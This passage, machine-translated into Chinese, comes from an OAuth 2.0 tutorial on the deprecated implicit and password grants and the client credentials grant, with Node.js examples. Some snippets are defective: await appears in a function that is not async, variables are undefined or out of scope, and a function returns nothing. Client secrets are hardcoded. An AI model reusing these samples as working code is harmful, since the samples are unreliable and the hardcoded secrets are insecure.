正如你所看到的,泄漏令牌的风险太高了,永远不要考虑使用隐式授予。这就是为什么我们建议任何人都不要使用这个授予。

如果你没有被上面的例子所吓倒,而且你真的需要使用Implicit grant,请查看我们的文档,它将指导你如何实现它。

资源所有者的密码凭证授予

我们清单上的下一个授予是资源所有者的密码凭证授予。这有很多字,所以我将在本节中把它称为密码授予。

这个授予也被废弃了,目前的建议是不应该使用它。让我们讨论一下这个授予是如何工作的,以及为什么它被弃用。

密码授权允许应用程序通过一个本地表单直接从用户那里收集用户名和密码,并将这些信息发送到OAuth服务器上。OAuth服务器会验证这些信息,然后返回一个访问令牌和可选的刷新令牌。

许多移动应用程序和传统的Web应用程序使用这种授权,因为他们想给用户提供一个感觉是他们应用程序的本地登录界面。在大多数情况下,移动应用程序不希望打开Web浏览器来登录用户,而Web应用程序希望将用户留在他们的用户界面上,而不是将浏览器重定向到OAuth服务器。

这种方法有两个主要问题。

  1. 应用程序正在收集用户名和**密码,并将其发送到OAuth服务器上。这意味着应用程序必须确保用户名和密码是完全安全的。这与授权码授予不同,在授权码授予中,用户名和密码只被直接提供给OAuth服务器。
  2. 该授权不支持你的OAuth服务器可能提供的任何辅助安全功能,例如。
    • 多因素认证
    • 密码重设
    • 设备授予
    • 注册
    • 电子邮件和账户验证
    • 无密码登录

由于这种授权的局限性和不安全性,它已经从最新的OAuth规范草案中删除。建议不要在生产中使用它。

如果你没有被上述问题所吓倒,而且你真的需要它,请查看我们的文档,它将指导你如何使用这个授权。

客户凭证授予

客户证书授予为一个 "客户 "提供了授权另一个 "客户 "的能力。在OAuth术语中,"客户 "是一个应用程序本身,与用户无关。因此,这个授予最常被用来允许一个应用程序调用另一个应用程序,通常是通过API。因此,该授予实现了上文所述的机器对机器的授权模式。

使用客户凭证授予,没有用户需要登录。

客户端凭证授予利用OAuth服务器的Token端点,并将几个参数作为表单数据发送,以生成访问令牌。这些访问令牌然后被用来调用API。以下是该授权所需的参数。

  • client_id - 这是识别源应用程序的客户ID。
  • client_secret--这是一个由OAuth服务器提供的密匙。它不应该被公开,只应该存储在源应用程序服务器上。
  • 授予类型 - 这将始终是client_credentials`的值,以让OAuth服务器知道我们正在使用客户端证书授予。

你可以在请求正文中发送client_idclient_secret,也可以在Authorization头中使用基本访问授权发送。我们将在下面的正文中发送它们,以保持与上述授权代码授予的代码一致。

让我们重新设计我们的TWGTL应用程序,以使用客户端证书授予,以支持两个不同的后端相互调用API。如果你还记得上面的内容,我们完成TWGTL ToDo项目的代码也发出了WUPHF。这都是内联的,但可以被分离到不同的后端或微服务中。我听说微服务现在很流行。

让我们更新我们的代码,把WUPHF的调用移到一个单独的服务中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/api/todo/complete/:id', function(req, res, next) {
  // Verify the user is logged in
  const user = authorizeUser(req);

  // First, complete the ToDo by id
  const todo = todoService.complete(req.params.id, user);

  sendWUPHF(todo.title, user.id);
});

function sendWUPHF(title, userId) {
  const accessToken = getAccessToken(); // Coming soon

  const body = { 'title': title, 'userId': userId }
  axios.post('https://wuphf-microservice.twgtl.com/send', body, { 
        headers: {
          auth: { 'bearer': accessToken }
        }
  }).then((response) => {
        res.sendStatus(200);
  }).catch((err) => {
        console.log(err);
        res.sendStatus(500);
  });
});

这里是WUPHF的微服务代码,它接收WUPHF的访问令牌和标题并将其发送出去。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express');
const router = express.Router();
const bearerToken = require('express-bearer-token');
const request = require('request');
const clientId = '9b893c2a-4689-41f8-91e0-aecad306ecb6';
const clientSecret = 'setec-astronomy';

var app = express();

app.use(express.json());
app.use(bearerToken());
app.use(express.urlencoded({extended: false}));

router.post('/send', function(req, res, next) {
  const accessAllowed = verifyAccessToken(req); // Coming soon
  if (!accessAllowed) {
    res.sendStatus(403);
    return;
  }

  // Load the access and refresh token from the database (based on the userId)
  const wuphfTokens = loadWUPHFTokens(req.data.userId);

  // Finally, call the API
  axios.post('https://api.getwuphf.com/send', {message: 'I just did a thing: '+req.data.title}, { 
    headers: {
      auth: { 'bearer': wuphfTokens.accessToken, 'refresh': wuphfTokens.refreshToken }
    }
  }).then((response) => {
    res.sendStatus(200);
  }).catch((err) => {
    console.log(err);
    res.sendStatus(500);
  });
});

我们现在已经把负责完成ToDos的代码和发送WUPHF的代码分开了。唯一要做的是将这段代码与我们的OAuth服务器连接起来,以便生成访问令牌并验证它们。

因为这是机器对机器的通信,用户的访问令牌是不相关的。我们不关心用户是否有调用WUPHF微服务的权限。相反,Todo API将对login.twgtl.com进行认证,并收到一个访问令牌供自己使用。

下面是使用客户凭证授予生成访问令牌的代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
const clientId = '82e0135d-a970-4286-b663-2147c17589fd';
const clientSecret = 'setec-astronomy';

function getAccessToken() {
  // POST request to Token endpoint
  const form = new FormData();
  form.append('client_id', clientId);
  form.append('client_secret', clientSecret)
  form.append('grant_type', 'client_credentials');
  axios.post('https://login.twgtl.com/oauth2/token', form, { headers: form.getHeaders() })
    .then((response) => {
      return response.data.access_token;
    }).catch((err) => {
      console.log(err);
      return null;
    });
}

为了验证WUPHF微服务中的访问令牌,我们将使用Introspect端点。如上所述,Introspect端点接受一个访问令牌,对其进行验证,然后返回与访问令牌相关的任何索赔。在我们的案例中,我们只使用这个端点来确保访问令牌的有效性。下面是验证访问令牌的代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
const axios = require('axios');
const FormData = require('form-data');

function verifyAccessToken(req) {
  const form = new FormData();
  form.append('token', accessToken);
  form.append('client_id', clientId); 
  try {
    const response = await axios.post('https://login.twgtl.com/oauth2/introspect', form, { headers: form.getHeaders() });
    if (response.status === 200) {
      return response.data.active;
    }
  } catch (err) {
    console.log(err);
    return false;
  }
}

使用客户凭证授予,没有用户需要登录。相反,"clientId "和 "clientSecret "分别作为用户名和密码,供试图获得访问令牌的实体使用。

设备授权

这个授予是我们要涵盖的最后一个授予。这种授予类型允许我们使用设备登录和注册模式。如上所述,我们在OAuth设备授权文章中详细介绍了这种模式和设备授予。

结语

我希望本指南对OAuth 2.0在现实世界中的应用有一个有用的概述,并对OAuth协议的实施和未来提供了深入的了解。同样,你可以在随附的GitHub仓库中查看本指南的工作代码

如果你注意到《OAuth现代指南》中的任何问题、错误或错别字,请在本仓库上提交一个Github问题或拉动请求。

谢谢你的阅读,祝你编码愉快

updatedupdated2023-01-302023-01-30
点击刷新